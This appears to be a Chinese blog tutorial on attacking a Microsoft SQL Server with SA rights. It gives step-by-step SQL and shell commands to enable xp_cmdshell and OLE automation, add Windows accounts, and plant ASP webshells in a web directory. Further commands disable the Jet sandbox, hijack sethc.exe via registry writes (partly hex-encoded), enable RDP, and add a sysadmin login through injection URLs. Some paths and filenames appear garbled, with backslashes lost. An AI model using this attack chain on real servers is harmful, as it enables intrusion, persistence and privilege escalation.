mssql 将查询结果作为表名参数_详述MSSQL服务在渗透测试中的利用

前言:

致力于复现最实用的漏洞利用过程。

本文将带领大家学习以下内容:

  • 学习使用`xp_cmdshell`扩展存储过程
  • 学习调用`wscript.shell`
  • 学习MSSQL写文件
  • 学习沙盘模式提权
  • 学习注册表映像劫持提权

part1 使用`xp_cmdshell`扩展存储过程

步骤1 连接MSSQL服务

首先打开SQL查询分析器如下填写相关参数(此处数据库相关信息假设是我们通过前期渗透测试得到。

相关参数填写完毕之后点击`确定`进入该服务器MSSQL查询分析页面。

登入对方的MSSQL服务之后,我们看到SQL查询分析器的界面如下,请看图示,了解查询分析器的功能页:

60407ad9419c647f2349e6b5f5bf99ee.png

如果没有出现左侧的对象浏览器,请点击如上图示的右上角红框部分来开启对象浏览器。

查询框用于输入将要执行查询的SQL语句。

比如,我们在查询框输入一下语句来查看数据库信息和系统版本:

select @@version

MSSQL语句后面可以跟`;`结束查询或连接多句查询。后面跟`--`可以达到注释以后多余的语句的目的。

默认情况下我们查看到的结果并不完整,是表格查看方式,为了更明显的查看到SQL查询返回,我们点击工具栏的`查询`->`文本显示结果`,然后再执行SQL语句:

a9a11ca0865551e9d8a222c994a314b3.gif

此时可以看到完整的查询结果为:

Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86)

Oct 14 2005 00:33:37

Copyright (c) 1988-2005 Microsoft Corporation

Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 2)

(所影响的行数为 1 行)

MSSQL版本:`Microsoft SQL Server 2005`

服务器版本:`Windows NT 5.2(windows2003)`

步骤2 验证权限并尝试执行

我们使用一下SQL语句来检测对方的MSSQL服务是否为`SA`权限(`sa`权限的MSSQL用户一般来说对应的是系统的`system`权限):

select IS_SRVROLEMEMBER('sysadmin')

如果查询结果返回`1`则说明是`SA`权限,很幸运,我们的目标机的`MSSQL`账户对应的是`SA`

权限。

使用以下SQL语句判断目标机的MSSQL服务是否存在`xp_cmdshell`扩展存储过程:

select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell';

只要返回结果不是`0`就说明存在`xp_cmdshell`扩展存储过程,启用没启用我们稍后再作判断:

5511616c8931a9a3b94a8765172b7e29.gif

如上,查询返回`1`,即是存在`xp_cmdshell`扩展存储过程,那么我们尝试执行以下SQL语句使用`xp_cmdshell`扩展存储过程来执行系统命令`whoami`(查看当前系统权限):

Exec master..xp_cmdshell 'whoami';

8bb0521a71890bf255aa620ac9257fa8.gif

命令并没有执行成功,得到了如下错误信息。

Error Message:SQL Server 阻止了对组件 'xp_cmdshell' 的 过程'sys.xp_cmdshell' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'xp_cmdshell'。有关启用 'xp_cmdshell' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。

步骤3 修复扩展存储过程

幸运的是我们从报错信息可以得出,`xp_cmdshell`扩展存储过程没被删除,只是禁止访问。于是我们就可以通过SQL语句启用它。

(如果不支持多句执行的话,请单独执行以分号分割的每句):

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

33c0358a5800e25de01029bda290bd30.gif

以上SQL语句的执行返回如下:

配置选项 'show advanced options' 已从 0 更改为 1。请运行 RECONFIGURE 语句进行安装。

配置选项 'xp_cmdshell' 已从 0 更改为 1。请运行 RECONFIGURE 语句进行安装。

SQL查询返回如上则说明`xp_cmdshell`扩展存储过程启用成功。

启用之后我们再使用以下SQL语句使用`xp_cmdshell`扩展存储过程执行系统命令:

Exec master..xp_cmdshell 'whoami';

6c2fb35a834058bb2d4da2d62be2716d.gif

语句执行回显如下:

output

---------

nt authoritysystem

NULL

(所影响的行数为 2 行)

如上,我们成功取得回显,得知当前用户权限是`SYSTEM`.

当然也可以进行windows的账户操作:

Exec master..xp_cmdshell 'net user';

> `net user`命令查看系统当前用户情况

步骤4 后续处理

如果`xp_cmdshell`扩展存储过程被删除,可以使用以下语句重新添加:

EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int;

sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll';

使用以下语句来卸载存储过程`xp_cmdshell`:

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 0;RECONFIGURE;

得到如下返回:

配置选项 'show advanced options' 已从 1 更改为 1。请运行 RECONFIGURE 语句进行安装。

配置选项 'xp_cmdshell' 已从 1 更改为 0。请运行 RECONFIGURE 语句进行安装。

禁用之后我们再尝试使用`xp_cmdshell`扩展存储过程执行命令将不会成功:

Exec master..xp_cmdshell 'whoami';

514efe8436eaad11c44325b2757f66d0.gif

若果想彻底删除`xp_cmdshell`扩展存储过程,建议在C盘里直接搜索`xplog70.dll` ,然后删除之。

part2 调用`wscript.shell`

步骤1 恢复`sys.sp_OACreate`

当`xp_cmdshell`扩展存储过程被删除或者无法使用的情况,我们不妨试试利用`SP_OACreate`和`SP_OAMETHOD`调用系统`wscript.shell`执行系统命令。

Declare @runshell INT;Exec SP_OACreate 'wscript.shell',@runshell out;Exec SP_OAMeTHOD @runshell,'run',null,'net user admin 123456 /add';

如下可见,默认是不行的,有如下报错信息:

SQL Server 阻止了对组件"Ole Automation Procedures"的 过程"sys.sp_OACreate"的访问,因为此组件已作为此服务器安全配置的一部分而被关闭

使用 `Ole Automation Procedures` 选项可指定是否可以在 `Transact-SQL` 批处理中实例化 `OLE Automation` 对象。 还可以使用基于策略的管理或者 `sp_configure` 存储过程来配置这一选项。 有关详细信息,请参阅外围应用配置器。

可以将 `Ole Automation Procedures` 选项设置为以下值:

>`0`:禁用 OLE Automation Procedures。 SQL Server 新实例的默认值。

>`1`:启用 OLE Automation Procedures。

当启用 `OLE Automation Procedures `时,对 `sp_OACreate`的调用将会启动 `OLE` 共享执行环境。

可以使用 `sp_configure` 系统存储过程来查看和更改 `Ole Automation Procedures` 选项的当前值。

执行以下SQL语句查看 `OLE Automation Procedures` 的当前设置:

EXEC sp_configure 'Ole Automation Procedures';

默认情况下返回以下信息

minimum maximum config_value run_value

------- --------- ------------ ---------

0 1 0 0

如上,`config_value` 和`run_value`的值都为0,表示禁用。

执行以下SQL语句启用 `OLE Automation Procedures`:

exec sp_configure 'show advanced options', 1; RECONFIGURE; exec sp_configure 'Ole Automation Procedures', 1; RECONFIGURE;

2918e521aa5c8086e6271f08e2f51986.gif

配置选项 'show advanced options' 已从 0 更改为 1。请运行 RECONFIGURE 语句进行安装。

配置选项 'Ole Automation Procedures' 已从 0 更改为 1。请运行 RECONFIGURE 语句进行安装。

步骤2 利用`sys.sp_OACreate`

再试试利用`SP_OACreate`和`SP_OAMETHOD`调用系统`wscript.shell`执行系统命令。

Declare @runshell INT;Exec SP_OACreate 'wscript.shell',@runshell out;Exec SP_OAMeTHOD @runshell,'run',null,'net user admin 123456 /add';

如下图可见,没有报错,成功执行了查询,但是没有看到CMD命令的回显:

3de057d3c45685538d0c96d55f08927e.gif

那么我们可以尝试使用`xp_cmdshell`来验证账户是否添加成功:

如果`xp_cmdshell`拓展存储过程不存在,先使用以下语句恢复:

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

然后执行以下语句验证是否通过利用`SP_OACreate`和`SP_OAMETHOD`调用系统`wscript.shell`执行了添加admin账户的系统命令:

Exec master..xp_cmdshell 'net user admin';

fe7a6b7fb885463c5b145fc8ead61033.gif

如上图,存在admin账户,利用成功。

part3 MSSQL写文件

步骤1 sp_makewebtask写文件

因为是`SA`权限,如果目标服务器是web服务器,我们也不用去备份了,可以直接写个一句话木马进去到web目录。

在不知道web目录的情况下我们可以使用以下SQL语句来列目录:

exec master.dbo.xp_subdirs 'c:www';

2a81a562f277ef14d52bd770c200fcd4.gif

`sp_makewebtask`拓展存储过程并不会列出目录下的文件,只会列出目录。

假设`c:www`为当前web目录,我们尝试使用以下语句来向该目录写一个名为`testwr.asp`的文件,文件内容是ASP类型的一句话木马:

exec sp_makewebtask 'c:wwwestwr.asp','select'''' '

75c062b33be4025efcf3aa2701d5f62b.gif

如上图可见,文件写入不成功,爆出了以下错误:

服务器: 消息 15281,级别 16,状态 1,过程 xp_makewebtask,行 1

SQL Server 阻止了对组件 'Web Assistant Procedures' 的 过程'sys.xp_makewebtask' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'Web Assistant Procedures'。有关启用 'Web Assistant Procedures' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。

由以上报错信息得知,其实是`xp_makewebtask`扩展存储过程被禁用,那么我们可以使用以下SQL语句恢复开启`xp_makewebtask`扩展存储过程:

exec sp_configure 'Web Assistant Procedures', 1; RECONFIGURE

返回如下信息:

配置选项 'Web Assistant Procedures' 已从 0 更改为 1。请运行 RECONFIGURE 语句进行安装。

如上SQL执行返回,提示命令执行成功,我们看看效果:

再执行SQL语句试试写文件:

exec sp_makewebtask 'c:wwwestwri.asp','select'''' '

a1cbcd6b85b7b79a9b11260646d7cb0a.gif

如上提示命令执行成功。

那么文件到底有没有写入成功呢,我们可以通过`xp_cmdshell`扩展存储过程执行`type`命令来验证文件内容:

exec master..xp_cmdshell 'type c:wwwestwri.asp'

865a5c61d24af59a494a8442590167af.gif

如上图执行回显可见,一句话木马的代码是写进去了,但是也有一些杂乱的东西:

n/a

(所影响的行数为 27 行)

步骤2 xp_cmdshell写文件

若服务器的`xp_cmdshell`扩展存储过程可用,则可以通过执行系统命名直接写文件:

exec master..xp_cmdshell 'echo ^ >c:www甥摰瑡e.asp'--

029a31d380ea927547bd5ecf44c95fc1.gif

> 此处`echo`命令为windows写文件命令,`^`符号是为了避免``符号与系统命令元命令符号冲突。

命令执行成功之后即会写入`c:www甥摰瑡e.asp`文件,内容为ASP类型的一句话木马。

那么命令执行之后我们可以通过以下语句来验证文件内容(`type`语句打印出文件内容):

exec master..xp_cmdshell 'type c:www甥摰瑡e.asp'--

a6a4030ba23007565695305b235f987b.png

如上可见,一句话木马代码写入文件成功。

part4 沙盘模式提权

利用`jet.oledb`执行系统命令

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:windowssystem32iasias.mdb','select shell("cmd.exe /c whoami")')

默认情况下报错如下:

服务器: 消息 15281,级别 16,状态 1,行 1

SQL Server 阻止了对组件 'Ad Hoc Distributed Queries' 的 STATEMENT'OpenRowset/OpenDatasource' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'Ad Hoc Distributed Queries'。有关启用 'Ad Hoc Distributed Queries' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。

启用Ad Hoc Distributed Queries:

exec sp_configure 'show advanced options',1;reconfigure;exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure

aa0b763009bfdfe4898dd292db29a54d.png

得到如下返回信息:

配置选项 'show advanced options' 已从 1 更改为 1。请运行 RECONFIGURE 语句进行安装。

配置选项 'Ad Hoc Distributed Queries' 已从 0 更改为 1。请运行 RECONFIGURE 语句进行安装。

试试关闭系统沙盒模式,它在注册表的位置是

`HKEY_LOCAL_MACHINESoftwareMicrosoftJet4.0EngineSandBoxMode`

默认键值为`2`,即只在`Access`的模式下开启沙盒模式,对应的键值是

`0`:在任何所有者中禁止启用安全模式

`1` :为仅在允许范围内

`2` :必须在access模式下

`3`:完全开启

我们要将其设置为0就可以关闭系统沙盒模式了,通过SQL语句实现

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines','SandBoxMode','REG_DWORD',0

然后利用`jet.oledb`执行系统命令whoami:

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:windowssystem32iasias.mdb','select shell("cmd.exe /c whoami")')

b33162d0b15d2108533c5b2edd002ad9.png

Expr1000

---------------------

2296.0

(所影响的行数为 1 行)

然后再尝试执行系统命令:

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:windowssystem32iasias.mdb','select shell("cmd.exe /c net user test 123456 /add")')

d0047a38c4ad90fbd5c0392b868d83c5.gif

此处系统命令执行无回显,我们这样验证账户是否添加上去:

exec master..xp_cmdshell 'net user test'--

e1b31d1eb7e1e38fe6f163f862e26dc1.gif

如下恢复沙盘模式:

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines','SandBoxMode','REG_DWORD',2

再执行上述命令将会失败:

exec master..xp_cmdshell 'net user test'--

18fae89ff39ae145c2e18be0ee784641.gif

part5 注册表映像劫持提权

先来恢复写注册表的存储过程:

exec sp_addextendedproc xp_regwrite,'xpstar.dll'

一般如此执行来进行映像劫持:

exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftWindowsNTCurrentVersionImage File Execution Optionssethc.exe','debugger','REG_SZ','c:windowssystem32cmd.exe'

实际上述语句不行,需要16进制编码,完成后如下:

exec xp_regwrite 0x484b45595f4c4f43414c5f4d414348494e45,0x534f4654574152455c4d6963726f736f66745c57696e646f7773204e545c43757272656e7456657273696f6e5c496d6167652046696c6520457865637574696f6e204f7074696f6e735c73657468632e657865,0x6465627567676572,0x5245475f535a,'c:windowssystem32askmgr.exe'--

959903621074f5d2d92b19a192a0ffd8.gif

这段代码表示要劫持的程序为sethc.exe,只要运行文件名为sethc.exe的,不管在哪个文件夹下都会启动任务管理器(当然你可以直接把sethc.exe改成你要启动程序的路径 )

通过注册表开3389:

exec master..xp_cmdshell "wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1"--

返回如下:

output

-----------------------

正在安装 WMIC,请稍候。执行 (V5EST0RAB06ROOTCIMV2:Win32_TerminalServiceSetting.ServerName="V5EST0RAB06")->SetAllowTSConnections()

方法执行成功。

输出参数:

instance of __PARAMETERS

{

ReturnValue = 0;

};

NULL

NULL

(所影响的行数为 9 行)

如上返回就是成功。

连接目标机,按下5次shift:

4f8db283532d0f998fa354e95076342f.gif

通过任务管理器调用cmd:

那我们在恢复扩展存储过程的时候如果出现`sp_addextendedproc`没找到的情况,如果不是删除了`xplog70.dll`,`SA`权限也能直接恢复

过程`SP_ADDextendedproc`,需要外联多句执行,注入点的情况下可以类似以下先添加一个数据库用户:

?id=1;exec master.dbo.sp_addlogin haco,lovehaco;--

?id=1;exec master.dbo.sp_addsrvrolemember haco,sysadmin;--

调出查询器 恢复过程`sp_addextendedproc` 如下:

use master

go

create procedure sp_addextendedproc

@functname nvarchar(517),

@dllname varchar(255)

as

set implicit_transactions off

if @@trancount > 0

begin

raiserror(15002,-1,-1,'sp_addextendedproc')

return (1)

end

dbcc addextendedproc( @functname, @dllname)

return (0)

然后再恢复存储过程就行了。

sp_addextendedproc xp_cmdshell,@dllname=xplog70.dll

总结:

技术和技巧知识都是需要总结记录的。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值